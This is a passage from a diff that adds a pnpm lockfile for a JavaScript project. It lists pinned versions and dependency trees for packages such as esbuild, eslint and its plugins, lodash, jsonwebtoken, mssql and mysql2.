+ get-symbol-description: 1.1.0
+ globalthis: 1.0.4
+ gopd: 1.2.0
+ has-property-descriptors: 1.0.2
+ has-proto: 1.2.0
+ has-symbols: 1.1.0
+ hasown: 2.0.2
+ internal-slot: 1.1.0
+ is-array-buffer: 3.0.5
+ is-callable: 1.2.7
+ is-data-view: 1.0.2
+ is-negative-zero: 2.0.3
+ is-regex: 1.2.1
+ is-set: 2.0.3
+ is-shared-array-buffer: 1.0.4
+ is-string: 1.1.1
+ is-typed-array: 1.1.15
+ is-weakref: 1.1.1
+ math-intrinsics: 1.1.0
+ object-inspect: 1.13.4
+ object-keys: 1.1.1
+ object.assign: 4.1.7
+ own-keys: 1.0.1
+ regexp.prototype.flags: 1.5.4
+ safe-array-concat: 1.1.3
+ safe-push-apply: 1.0.0
+ safe-regex-test: 1.1.0
+ set-proto: 1.0.0
+ stop-iteration-iterator: 1.1.0
+ string.prototype.trim: 1.2.10
+ string.prototype.trimend: 1.0.9
+ string.prototype.trimstart: 1.0.8
+ typed-array-buffer: 1.0.3
+ typed-array-byte-length: 1.0.3
+ typed-array-byte-offset: 1.0.4
+ typed-array-length: 1.0.7
+ unbox-primitive: 1.1.0
+ which-typed-array: 1.1.19
+
+ es-define-property@1.0.1: {}
+
+ es-errors@1.3.0: {}
+
+ es-iterator-helpers@1.2.2:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-set-tostringtag: 2.1.0
+ function-bind: 1.1.2
+ get-intrinsic: 1.3.0
+ globalthis: 1.0.4
+ gopd: 1.2.0
+ has-property-descriptors: 1.0.2
+ has-proto: 1.2.0
+ has-symbols: 1.1.0
+ internal-slot: 1.1.0
+ iterator.prototype: 1.1.5
+ safe-array-concat: 1.1.3
+
+ es-module-lexer@1.4.1: {}
+
+ es-module-lexer@2.0.0: {}
+
+ es-object-atoms@1.1.1:
+ dependencies:
+ es-errors: 1.3.0
+
+ es-set-tostringtag@2.1.0:
+ dependencies:
+ es-errors: 1.3.0
+ get-intrinsic: 1.3.0
+ has-tostringtag: 1.0.2
+ hasown: 2.0.2
+
+ es-shim-unscopables@1.1.0:
+ dependencies:
+ hasown: 2.0.2
+
+ es-to-primitive@1.3.0:
+ dependencies:
+ is-callable: 1.2.7
+ is-date-object: 1.1.0
+ is-symbol: 1.1.1
+
+ esbuild@0.25.12:
+ optionalDependencies:
+ '@esbuild/aix-ppc64': 0.25.12
+ '@esbuild/android-arm': 0.25.12
+ '@esbuild/android-arm64': 0.25.12
+ '@esbuild/android-x64': 0.25.12
+ '@esbuild/darwin-arm64': 0.25.12
+ '@esbuild/darwin-x64': 0.25.12
+ '@esbuild/freebsd-arm64': 0.25.12
+ '@esbuild/freebsd-x64': 0.25.12
+ '@esbuild/linux-arm': 0.25.12
+ '@esbuild/linux-arm64': 0.25.12
+ '@esbuild/linux-ia32': 0.25.12
+ '@esbuild/linux-loong64': 0.25.12
+ '@esbuild/linux-mips64el': 0.25.12
+ '@esbuild/linux-ppc64': 0.25.12
+ '@esbuild/linux-riscv64': 0.25.12
+ '@esbuild/linux-s390x': 0.25.12
+ '@esbuild/linux-x64': 0.25.12
+ '@esbuild/netbsd-arm64': 0.25.12
+ '@esbuild/netbsd-x64': 0.25.12
+ '@esbuild/openbsd-arm64': 0.25.12
+ '@esbuild/openbsd-x64': 0.25.12
+ '@esbuild/openharmony-arm64': 0.25.12
+ '@esbuild/sunos-x64': 0.25.12
+ '@esbuild/win32-arm64': 0.25.12
+ '@esbuild/win32-ia32': 0.25.12
+ '@esbuild/win32-x64': 0.25.12
+
+ esbuild@0.27.0:
+ optionalDependencies:
+ '@esbuild/aix-ppc64': 0.27.0
+ '@esbuild/android-arm': 0.27.0
+ '@esbuild/android-arm64': 0.27.0
+ '@esbuild/android-x64': 0.27.0
+ '@esbuild/darwin-arm64': 0.27.0
+ '@esbuild/darwin-x64': 0.27.0
+ '@esbuild/freebsd-arm64': 0.27.0
+ '@esbuild/freebsd-x64': 0.27.0
+ '@esbuild/linux-arm': 0.27.0
+ '@esbuild/linux-arm64': 0.27.0
+ '@esbuild/linux-ia32': 0.27.0
+ '@esbuild/linux-loong64': 0.27.0
+ '@esbuild/linux-mips64el': 0.27.0
+ '@esbuild/linux-ppc64': 0.27.0
+ '@esbuild/linux-riscv64': 0.27.0
+ '@esbuild/linux-s390x': 0.27.0
+ '@esbuild/linux-x64': 0.27.0
+ '@esbuild/netbsd-arm64': 0.27.0
+ '@esbuild/netbsd-x64': 0.27.0
+ '@esbuild/openbsd-arm64': 0.27.0
+ '@esbuild/openbsd-x64': 0.27.0
+ '@esbuild/openharmony-arm64': 0.27.0
+ '@esbuild/sunos-x64': 0.27.0
+ '@esbuild/win32-arm64': 0.27.0
+ '@esbuild/win32-ia32': 0.27.0
+ '@esbuild/win32-x64': 0.27.0
+
+ esbuild@0.27.2:
+ optionalDependencies:
+ '@esbuild/aix-ppc64': 0.27.2
+ '@esbuild/android-arm': 0.27.2
+ '@esbuild/android-arm64': 0.27.2
+ '@esbuild/android-x64': 0.27.2
+ '@esbuild/darwin-arm64': 0.27.2
+ '@esbuild/darwin-x64': 0.27.2
+ '@esbuild/freebsd-arm64': 0.27.2
+ '@esbuild/freebsd-x64': 0.27.2
+ '@esbuild/linux-arm': 0.27.2
+ '@esbuild/linux-arm64': 0.27.2
+ '@esbuild/linux-ia32': 0.27.2
+ '@esbuild/linux-loong64': 0.27.2
+ '@esbuild/linux-mips64el': 0.27.2
+ '@esbuild/linux-ppc64': 0.27.2
+ '@esbuild/linux-riscv64': 0.27.2
+ '@esbuild/linux-s390x': 0.27.2
+ '@esbuild/linux-x64': 0.27.2
+ '@esbuild/netbsd-arm64': 0.27.2
+ '@esbuild/netbsd-x64': 0.27.2
+ '@esbuild/openbsd-arm64': 0.27.2
+ '@esbuild/openbsd-x64': 0.27.2
+ '@esbuild/openharmony-arm64': 0.27.2
+ '@esbuild/sunos-x64': 0.27.2
+ '@esbuild/win32-arm64': 0.27.2
+ '@esbuild/win32-ia32': 0.27.2
+ '@esbuild/win32-x64': 0.27.2
+
+ escalade@3.2.0: {}
+
+ escape-string-regexp@4.0.0: {}
+
+ eslint-config-next@15.5.9(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3):
+ dependencies:
+ '@next/eslint-plugin-next': 15.5.9
+ '@rushstack/eslint-patch': 1.15.0
+ '@typescript-eslint/eslint-plugin': 8.52.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/parser': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ eslint: 9.39.2(jiti@2.6.1)
+ eslint-import-resolver-node: 0.3.9
+ eslint-import-resolver-typescript: 3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.2(jiti@2.6.1))
+ eslint-plugin-import: 2.32.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1))
+ eslint-plugin-jsx-a11y: 6.10.2(eslint@9.39.2(jiti@2.6.1))
+ eslint-plugin-react: 7.37.5(eslint@9.39.2(jiti@2.6.1))
+ eslint-plugin-react-hooks: 5.2.0(eslint@9.39.2(jiti@2.6.1))
+ optionalDependencies:
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - eslint-import-resolver-webpack
+ - eslint-plugin-import-x
+ - supports-color
+
+ eslint-import-resolver-node@0.3.9:
+ dependencies:
+ debug: 3.2.7
+ is-core-module: 2.16.1
+ resolve: 1.22.11
+ transitivePeerDependencies:
+ - supports-color
+
+ eslint-import-resolver-typescript@3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ '@nolyfill/is-core-module': 1.0.39
+ debug: 4.4.3
+ eslint: 9.39.2(jiti@2.6.1)
+ get-tsconfig: 4.13.0
+ is-bun-module: 2.0.0
+ stable-hash: 0.0.5
+ tinyglobby: 0.2.15
+ unrs-resolver: 1.11.1
+ optionalDependencies:
+ eslint-plugin-import: 2.32.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1))
+ transitivePeerDependencies:
+ - supports-color
+
+ eslint-module-utils@2.12.1(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ debug: 3.2.7
+ optionalDependencies:
+ '@typescript-eslint/parser': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ eslint: 9.39.2(jiti@2.6.1)
+ eslint-import-resolver-node: 0.3.9
+ eslint-import-resolver-typescript: 3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.2(jiti@2.6.1))
+ transitivePeerDependencies:
+ - supports-color
+
+ eslint-plugin-drizzle@0.2.3(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ eslint: 9.39.2(jiti@2.6.1)
+
+ eslint-plugin-import@2.32.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ '@rtsao/scc': 1.1.0
+ array-includes: 3.1.9
+ array.prototype.findlastindex: 1.2.6
+ array.prototype.flat: 1.3.3
+ array.prototype.flatmap: 1.3.3
+ debug: 3.2.7
+ doctrine: 2.1.0
+ eslint: 9.39.2(jiti@2.6.1)
+ eslint-import-resolver-node: 0.3.9
+ eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1))
+ hasown: 2.0.2
+ is-core-module: 2.16.1
+ is-glob: 4.0.3
+ minimatch: 3.1.2
+ object.fromentries: 2.0.8
+ object.groupby: 1.0.3
+ object.values: 1.2.1
+ semver: 6.3.1
+ string.prototype.trimend: 1.0.9
+ tsconfig-paths: 3.15.0
+ optionalDependencies:
+ '@typescript-eslint/parser': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ transitivePeerDependencies:
+ - eslint-import-resolver-typescript
+ - eslint-import-resolver-webpack
+ - supports-color
+
+ eslint-plugin-jsx-a11y@6.10.2(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ aria-query: 5.3.2
+ array-includes: 3.1.9
+ array.prototype.flatmap: 1.3.3
+ ast-types-flow: 0.0.8
+ axe-core: 4.11.0
+ axobject-query: 4.1.0
+ damerau-levenshtein: 1.0.8
+ emoji-regex: 9.2.2
+ eslint: 9.39.2(jiti@2.6.1)
+ hasown: 2.0.2
+ jsx-ast-utils: 3.3.5
+ language-tags: 1.0.9
+ minimatch: 3.1.2
+ object.fromentries: 2.0.8
+ safe-regex-test: 1.1.0
+ string.prototype.includes: 2.0.1
+
+ eslint-plugin-react-hooks@5.2.0(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ eslint: 9.39.2(jiti@2.6.1)
+
+ eslint-plugin-react@7.37.5(eslint@9.39.2(jiti@2.6.1)):
+ dependencies:
+ array-includes: 3.1.9
+ array.prototype.findlast: 1.2.5
+ array.prototype.flatmap: 1.3.3
+ array.prototype.tosorted: 1.1.4
+ doctrine: 2.1.0
+ es-iterator-helpers: 1.2.2
+ eslint: 9.39.2(jiti@2.6.1)
+ estraverse: 5.3.0
+ hasown: 2.0.2
+ jsx-ast-utils: 3.3.5
+ minimatch: 3.1.2
+ object.entries: 1.1.9
+ object.fromentries: 2.0.8
+ object.values: 1.2.1
+ prop-types: 15.8.1
+ resolve: 2.0.0-next.5
+ semver: 6.3.1
+ string.prototype.matchall: 4.0.12
+ string.prototype.repeat: 1.0.0
+
+ eslint-scope@5.1.1:
+ dependencies:
+ esrecurse: 4.3.0
+ estraverse: 4.3.0
+
+ eslint-scope@8.4.0:
+ dependencies:
+ esrecurse: 4.3.0
+ estraverse: 5.3.0
+
+ eslint-visitor-keys@3.4.3: {}
+
+ eslint-visitor-keys@4.2.1: {}
+
+ eslint@9.39.2(jiti@2.6.1):
+ dependencies:
+ '@eslint-community/eslint-utils': 4.9.1(eslint@9.39.2(jiti@2.6.1))
+ '@eslint-community/regexpp': 4.12.2
+ '@eslint/config-array': 0.21.1
+ '@eslint/config-helpers': 0.4.2
+ '@eslint/core': 0.17.0
+ '@eslint/eslintrc': 3.3.3
+ '@eslint/js': 9.39.2
+ '@eslint/plugin-kit': 0.4.1
+ '@humanfs/node': 0.16.7
+ '@humanwhocodes/module-importer': 1.0.1
+ '@humanwhocodes/retry': 0.4.3
+ '@types/estree': 1.0.8
+ ajv: 6.12.6
+ chalk: 4.1.2
+ cross-spawn: 7.0.6
+ debug: 4.4.3
+ escape-string-regexp: 4.0.0
+ eslint-scope: 8.4.0
+ eslint-visitor-keys: 4.2.1
+ espree: 10.4.0
+ esquery: 1.7.0
+ esutils: 2.0.3
+ fast-deep-equal: 3.1.3
+ file-entry-cache: 8.0.0
+ find-up: 5.0.0
+ glob-parent: 6.0.2
+ ignore: 5.3.2
+ imurmurhash: 0.1.4
+ is-glob: 4.0.3
+ json-stable-stringify-without-jsonify: 1.0.1
+ lodash.merge: 4.6.2
+ minimatch: 3.1.2
+ natural-compare: 1.4.0
+ optionator: 0.9.4
+ optionalDependencies:
+ jiti: 2.6.1
+ transitivePeerDependencies:
+ - supports-color
+
+ espree@10.4.0:
+ dependencies:
+ acorn: 8.15.0
+ acorn-jsx: 5.3.2(acorn@8.15.0)
+ eslint-visitor-keys: 4.2.1
+
+ esquery@1.7.0:
+ dependencies:
+ estraverse: 5.3.0
+
+ esrecurse@4.3.0:
+ dependencies:
+ estraverse: 5.3.0
+
+ estraverse@4.3.0: {}
+
+ estraverse@5.3.0: {}
+
+ estree-walker@2.0.2: {}
+
+ esutils@2.0.3: {}
+
+ etag@1.8.1: {}
+
+ event-target-shim@5.0.1: {}
+
+ events-intercept@2.0.0: {}
+
+ events@3.3.0: {}
+
+ execa@3.2.0:
+ dependencies:
+ cross-spawn: 7.0.6
+ get-stream: 5.2.0
+ human-signals: 1.1.1
+ is-stream: 2.0.1
+ merge-stream: 2.0.0
+ npm-run-path: 4.0.1
+ onetime: 5.1.2
+ p-finally: 2.0.1
+ signal-exit: 3.0.7
+ strip-final-newline: 2.0.0
+
+ execa@5.1.1:
+ dependencies:
+ cross-spawn: 7.0.6
+ get-stream: 6.0.1
+ human-signals: 2.1.0
+ is-stream: 2.0.1
+ merge-stream: 2.0.0
+ npm-run-path: 4.0.1
+ onetime: 5.1.2
+ signal-exit: 3.0.7
+ strip-final-newline: 2.0.0
+
+ fast-content-type-parse@3.0.0: {}
+
+ fast-deep-equal@3.1.3: {}
+
+ fast-glob@3.3.1:
+ dependencies:
+ '@nodelib/fs.stat': 2.0.5
+ '@nodelib/fs.walk': 1.2.8
+ glob-parent: 5.1.2
+ merge2: 1.4.1
+ micromatch: 4.0.8
+
+ fast-glob@3.3.3:
+ dependencies:
+ '@nodelib/fs.stat': 2.0.5
+ '@nodelib/fs.walk': 1.2.8
+ glob-parent: 5.1.2
+ merge2: 1.4.1
+ micromatch: 4.0.8
+
+ fast-json-stable-stringify@2.1.0: {}
+
+ fast-levenshtein@2.0.6: {}
+
+ fast-uri@3.1.0: {}
+
+ fastq@1.20.1:
+ dependencies:
+ reusify: 1.1.0
+
+ fd-slicer@1.1.0:
+ dependencies:
+ pend: 1.2.0
+
+ fdir@6.5.0(picomatch@4.0.3):
+ optionalDependencies:
+ picomatch: 4.0.3
+
+ file-entry-cache@8.0.0:
+ dependencies:
+ flat-cache: 4.0.1
+
+ file-uri-to-path@1.0.0: {}
+
+ fill-range@7.1.1:
+ dependencies:
+ to-regex-range: 5.0.1
+
+ find-up@5.0.0:
+ dependencies:
+ locate-path: 6.0.0
+ path-exists: 4.0.0
+
+ flat-cache@4.0.1:
+ dependencies:
+ flatted: 3.3.3
+ keyv: 4.5.4
+
+ flatted@3.3.3: {}
+
+ for-each@0.3.5:
+ dependencies:
+ is-callable: 1.2.7
+
+ form-data@4.0.5:
+ dependencies:
+ asynckit: 0.4.0
+ combined-stream: 1.0.8
+ es-set-tostringtag: 2.1.0
+ hasown: 2.0.2
+ mime-types: 2.1.35
+
+ fs-extra@11.1.0:
+ dependencies:
+ graceful-fs: 4.2.11
+ jsonfile: 6.2.0
+ universalify: 2.0.1
+
+ fs-minipass@2.1.0:
+ dependencies:
+ minipass: 3.3.6
+
+ fsevents@2.3.3:
+ optional: true
+
+ function-bind@1.1.2: {}
+
+ function.prototype.name@1.1.8:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ functions-have-names: 1.2.3
+ hasown: 2.0.2
+ is-callable: 1.2.7
+
+ functions-have-names@1.2.3: {}
+
+ generate-function@2.3.1:
+ dependencies:
+ is-property: 1.0.2
+
+ generator-function@2.0.1: {}
+
+ generic-pool@3.4.2: {}
+
+ get-intrinsic@1.3.0:
+ dependencies:
+ call-bind-apply-helpers: 1.0.2
+ es-define-property: 1.0.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ function-bind: 1.1.2
+ get-proto: 1.0.1
+ gopd: 1.2.0
+ has-symbols: 1.1.0
+ hasown: 2.0.2
+ math-intrinsics: 1.1.0
+
+ get-nonce@1.0.1: {}
+
+ get-proto@1.0.1:
+ dependencies:
+ dunder-proto: 1.0.1
+ es-object-atoms: 1.1.1
+
+ get-stream@5.2.0:
+ dependencies:
+ pump: 3.0.3
+
+ get-stream@6.0.1: {}
+
+ get-symbol-description@1.1.0:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ get-intrinsic: 1.3.0
+
+ get-tsconfig@4.13.0:
+ dependencies:
+ resolve-pkg-maps: 1.0.0
+
+ glob-parent@5.1.2:
+ dependencies:
+ is-glob: 4.0.3
+
+ glob-parent@6.0.2:
+ dependencies:
+ is-glob: 4.0.3
+
+ glob-to-regexp@0.4.1: {}
+
+ glob@13.0.0:
+ dependencies:
+ minimatch: 10.1.1
+ minipass: 7.1.2
+ path-scurry: 2.0.1
+
+ globals@14.0.0: {}
+
+ globalthis@1.0.4:
+ dependencies:
+ define-properties: 1.2.1
+ gopd: 1.2.0
+
+ gopd@1.2.0: {}
+
+ graceful-fs@4.2.11: {}
+
+ has-bigints@1.1.0: {}
+
+ has-flag@4.0.0: {}
+
+ has-property-descriptors@1.0.2:
+ dependencies:
+ es-define-property: 1.0.1
+
+ has-proto@1.2.0:
+ dependencies:
+ dunder-proto: 1.0.1
+
+ has-symbols@1.1.0: {}
+
+ has-tostringtag@1.0.2:
+ dependencies:
+ has-symbols: 1.1.0
+
+ hasown@2.0.2:
+ dependencies:
+ function-bind: 1.1.2
+
+ http-errors@1.7.3:
+ dependencies:
+ depd: 1.1.2
+ inherits: 2.0.4
+ setprototypeof: 1.1.1
+ statuses: 1.5.0
+ toidentifier: 1.0.0
+
+ http-proxy-agent@7.0.2:
+ dependencies:
+ agent-base: 7.1.4
+ debug: 4.4.3
+ transitivePeerDependencies:
+ - supports-color
+
+ https-proxy-agent@7.0.6:
+ dependencies:
+ agent-base: 7.1.4
+ debug: 4.4.3
+ transitivePeerDependencies:
+ - supports-color
+
+ human-signals@1.1.1: {}
+
+ human-signals@2.1.0: {}
+
+ iconv-lite@0.4.24:
+ dependencies:
+ safer-buffer: 2.1.2
+
+ iconv-lite@0.6.3:
+ dependencies:
+ safer-buffer: 2.1.2
+
+ iconv-lite@0.7.1:
+ dependencies:
+ safer-buffer: 2.1.2
+
+ ieee754@1.2.1: {}
+
+ ignore@5.3.2: {}
+
+ ignore@7.0.5: {}
+
+ import-fresh@3.3.1:
+ dependencies:
+ parent-module: 1.0.1
+ resolve-from: 4.0.0
+
+ imurmurhash@0.1.4: {}
+
+ inherits@2.0.4: {}
+
+ internal-slot@1.1.0:
+ dependencies:
+ es-errors: 1.3.0
+ hasown: 2.0.2
+ side-channel: 1.1.0
+
+ is-array-buffer@3.0.5:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ get-intrinsic: 1.3.0
+
+ is-async-function@2.1.1:
+ dependencies:
+ async-function: 1.0.0
+ call-bound: 1.0.4
+ get-proto: 1.0.1
+ has-tostringtag: 1.0.2
+ safe-regex-test: 1.1.0
+
+ is-bigint@1.1.0:
+ dependencies:
+ has-bigints: 1.1.0
+
+ is-boolean-object@1.2.2:
+ dependencies:
+ call-bound: 1.0.4
+ has-tostringtag: 1.0.2
+
+ is-buffer@2.0.5: {}
+
+ is-bun-module@2.0.0:
+ dependencies:
+ semver: 7.7.3
+
+ is-callable@1.2.7: {}
+
+ is-core-module@2.16.1:
+ dependencies:
+ hasown: 2.0.2
+
+ is-data-view@1.0.2:
+ dependencies:
+ call-bound: 1.0.4
+ get-intrinsic: 1.3.0
+ is-typed-array: 1.1.15
+
+ is-date-object@1.1.0:
+ dependencies:
+ call-bound: 1.0.4
+ has-tostringtag: 1.0.2
+
+ is-docker@3.0.0: {}
+
+ is-extglob@2.1.1: {}
+
+ is-finalizationregistry@1.1.1:
+ dependencies:
+ call-bound: 1.0.4
+
+ is-generator-function@1.1.2:
+ dependencies:
+ call-bound: 1.0.4
+ generator-function: 2.0.1
+ get-proto: 1.0.1
+ has-tostringtag: 1.0.2
+ safe-regex-test: 1.1.0
+
+ is-glob@4.0.3:
+ dependencies:
+ is-extglob: 2.1.1
+
+ is-inside-container@1.0.0:
+ dependencies:
+ is-docker: 3.0.0
+
+ is-map@2.0.3: {}
+
+ is-negative-zero@2.0.3: {}
+
+ is-node-process@1.2.0: {}
+
+ is-number-object@1.1.1:
+ dependencies:
+ call-bound: 1.0.4
+ has-tostringtag: 1.0.2
+
+ is-number@7.0.0: {}
+
+ is-property@1.0.2: {}
+
+ is-regex@1.2.1:
+ dependencies:
+ call-bound: 1.0.4
+ gopd: 1.2.0
+ has-tostringtag: 1.0.2
+ hasown: 2.0.2
+
+ is-set@2.0.3: {}
+
+ is-shared-array-buffer@1.0.4:
+ dependencies:
+ call-bound: 1.0.4
+
+ is-stream@2.0.1: {}
+
+ is-string@1.1.1:
+ dependencies:
+ call-bound: 1.0.4
+ has-tostringtag: 1.0.2
+
+ is-symbol@1.1.1:
+ dependencies:
+ call-bound: 1.0.4
+ has-symbols: 1.1.0
+ safe-regex-test: 1.1.0
+
+ is-typed-array@1.1.15:
+ dependencies:
+ which-typed-array: 1.1.19
+
+ is-weakmap@2.0.2: {}
+
+ is-weakref@1.1.1:
+ dependencies:
+ call-bound: 1.0.4
+
+ is-weakset@2.0.4:
+ dependencies:
+ call-bound: 1.0.4
+ get-intrinsic: 1.3.0
+
+ is-wsl@3.1.0:
+ dependencies:
+ is-inside-container: 1.0.0
+
+ isarray@2.0.5: {}
+
+ isexe@2.0.0: {}
+
+ iterator.prototype@1.1.5:
+ dependencies:
+ define-data-property: 1.1.4
+ es-object-atoms: 1.1.1
+ get-intrinsic: 1.3.0
+ get-proto: 1.0.1
+ has-symbols: 1.1.0
+ set-function-name: 2.0.2
+
+ jest-worker@27.5.1:
+ dependencies:
+ '@types/node': 25.2.0
+ merge-stream: 2.0.0
+ supports-color: 8.1.1
+
+ jiti@2.6.1: {}
+
+ jose@5.9.6: {}
+
+ js-md4@0.3.2: {}
+
+ js-tokens@4.0.0: {}
+
+ js-yaml@4.1.1:
+ dependencies:
+ argparse: 2.0.1
+
+ jsbi@4.3.2: {}
+
+ json-buffer@3.0.1: {}
+
+ json-parse-even-better-errors@2.3.1: {}
+
+ json-schema-to-ts@1.6.4:
+ dependencies:
+ '@types/json-schema': 7.0.15
+ ts-toolbelt: 6.15.5
+
+ json-schema-traverse@0.4.1: {}
+
+ json-schema-traverse@1.0.0: {}
+
+ json-stable-stringify-without-jsonify@1.0.1: {}
+
+ json5@1.0.2:
+ dependencies:
+ minimist: 1.2.8
+
+ json5@2.2.3: {}
+
+ jsonfile@6.2.0:
+ dependencies:
+ universalify: 2.0.1
+ optionalDependencies:
+ graceful-fs: 4.2.11
+
+ jsonwebtoken@9.0.3:
+ dependencies:
+ jws: 4.0.1
+ lodash.includes: 4.3.0
+ lodash.isboolean: 3.0.3
+ lodash.isinteger: 4.0.4
+ lodash.isnumber: 3.0.3
+ lodash.isplainobject: 4.0.6
+ lodash.isstring: 4.0.1
+ lodash.once: 4.1.1
+ ms: 2.1.3
+ semver: 7.7.3
+
+ jsx-ast-utils@3.3.5:
+ dependencies:
+ array-includes: 3.1.9
+ array.prototype.flat: 1.3.3
+ object.assign: 4.1.7
+ object.values: 1.2.1
+
+ jwa@2.0.1:
+ dependencies:
+ buffer-equal-constant-time: 1.0.1
+ ecdsa-sig-formatter: 1.0.11
+ safe-buffer: 5.2.1
+
+ jws@4.0.1:
+ dependencies:
+ jwa: 2.0.1
+ safe-buffer: 5.2.1
+
+ keyv@4.5.4:
+ dependencies:
+ json-buffer: 3.0.1
+
+ language-subtag-registry@0.3.23: {}
+
+ language-tags@1.0.9:
+ dependencies:
+ language-subtag-registry: 0.3.23
+
+ levn@0.4.1:
+ dependencies:
+ prelude-ls: 1.2.1
+ type-check: 0.4.0
+
+ lightningcss-android-arm64@1.30.2:
+ optional: true
+
+ lightningcss-darwin-arm64@1.30.2:
+ optional: true
+
+ lightningcss-darwin-x64@1.30.2:
+ optional: true
+
+ lightningcss-freebsd-x64@1.30.2:
+ optional: true
+
+ lightningcss-linux-arm-gnueabihf@1.30.2:
+ optional: true
+
+ lightningcss-linux-arm64-gnu@1.30.2:
+ optional: true
+
+ lightningcss-linux-arm64-musl@1.30.2:
+ optional: true
+
+ lightningcss-linux-x64-gnu@1.30.2:
+ optional: true
+
+ lightningcss-linux-x64-musl@1.30.2:
+ optional: true
+
+ lightningcss-win32-arm64-msvc@1.30.2:
+ optional: true
+
+ lightningcss-win32-x64-msvc@1.30.2:
+ optional: true
+
+ lightningcss@1.30.2:
+ dependencies:
+ detect-libc: 2.1.2
+ optionalDependencies:
+ lightningcss-android-arm64: 1.30.2
+ lightningcss-darwin-arm64: 1.30.2
+ lightningcss-darwin-x64: 1.30.2
+ lightningcss-freebsd-x64: 1.30.2
+ lightningcss-linux-arm-gnueabihf: 1.30.2
+ lightningcss-linux-arm64-gnu: 1.30.2
+ lightningcss-linux-arm64-musl: 1.30.2
+ lightningcss-linux-x64-gnu: 1.30.2
+ lightningcss-linux-x64-musl: 1.30.2
+ lightningcss-win32-arm64-msvc: 1.30.2
+ lightningcss-win32-x64-msvc: 1.30.2
+
+ loader-runner@4.3.1: {}
+
+ loader-utils@2.0.4:
+ dependencies:
+ big.js: 5.2.2
+ emojis-list: 3.0.0
+ json5: 2.2.3
+
+ locate-path@6.0.0:
+ dependencies:
+ p-locate: 5.0.0
+
+ lodash.includes@4.3.0: {}
+
+ lodash.isboolean@3.0.3: {}
+
+ lodash.isinteger@4.0.4: {}
+
+ lodash.isnumber@3.0.3: {}
+
+ lodash.isplainobject@4.0.6: {}
+
+ lodash.isstring@4.0.1: {}
+
+ lodash.merge@4.6.2: {}
+
+ lodash.once@4.1.1: {}
+
+ lodash@4.17.21: {}
+
+ long@5.3.2: {}
+
+ loose-envify@1.4.0:
+ dependencies:
+ js-tokens: 4.0.0
+
+ lru-cache@11.2.4: {}
+
+ lru-cache@6.0.0:
+ dependencies:
+ yallist: 4.0.0
+
+ lru.min@1.1.3: {}
+
+ magic-bytes.js@1.12.1: {}
+
+ magic-string@0.30.21:
+ dependencies:
+ '@jridgewell/sourcemap-codec': 1.5.5
+
+ make-error@1.3.6: {}
+
+ math-intrinsics@1.1.0: {}
+
+ merge-stream@2.0.0: {}
+
+ merge2@1.4.1: {}
+
+ micro@9.3.5-canary.3:
+ dependencies:
+ arg: 4.1.0
+ content-type: 1.0.4
+ raw-body: 2.4.1
+
+ micromatch@4.0.8:
+ dependencies:
+ braces: 3.0.3
+ picomatch: 2.3.1
+
+ mime-db@1.52.0: {}
+
+ mime-types@2.1.35:
+ dependencies:
+ mime-db: 1.52.0
+
+ mimic-fn@2.1.0: {}
+
+ mini-svg-data-uri@1.4.4: {}
+
+ minimatch@10.1.1:
+ dependencies:
+ '@isaacs/brace-expansion': 5.0.0
+
+ minimatch@3.1.2:
+ dependencies:
+ brace-expansion: 1.1.12
+
+ minimatch@9.0.5:
+ dependencies:
+ brace-expansion: 2.0.2
+
+ minimist@1.2.8: {}
+
+ minipass@3.3.6:
+ dependencies:
+ yallist: 4.0.0
+
+ minipass@5.0.0: {}
+
+ minipass@7.1.2: {}
+
+ minizlib@2.1.2:
+ dependencies:
+ minipass: 3.3.6
+ yallist: 4.0.0
+
+ minizlib@3.1.0:
+ dependencies:
+ minipass: 7.1.2
+
+ mkdirp@1.0.4: {}
+
+ mri@1.2.0: {}
+
+ ms@2.1.1: {}
+
+ ms@2.1.2: {}
+
+ ms@2.1.3: {}
+
+ mssql@11.0.1:
+ dependencies:
+ '@tediousjs/connection-string': 0.5.0
+ commander: 11.1.0
+ debug: 4.4.3
+ rfdc: 1.4.1
+ tarn: 3.0.2
+ tedious: 18.6.2
+ transitivePeerDependencies:
+ - supports-color
+
+ mysql2@3.16.0:
+ dependencies:
+ aws-ssl-profiles: 1.1.2
+ denque: 2.1.0
+ generate-function: 2.3.1
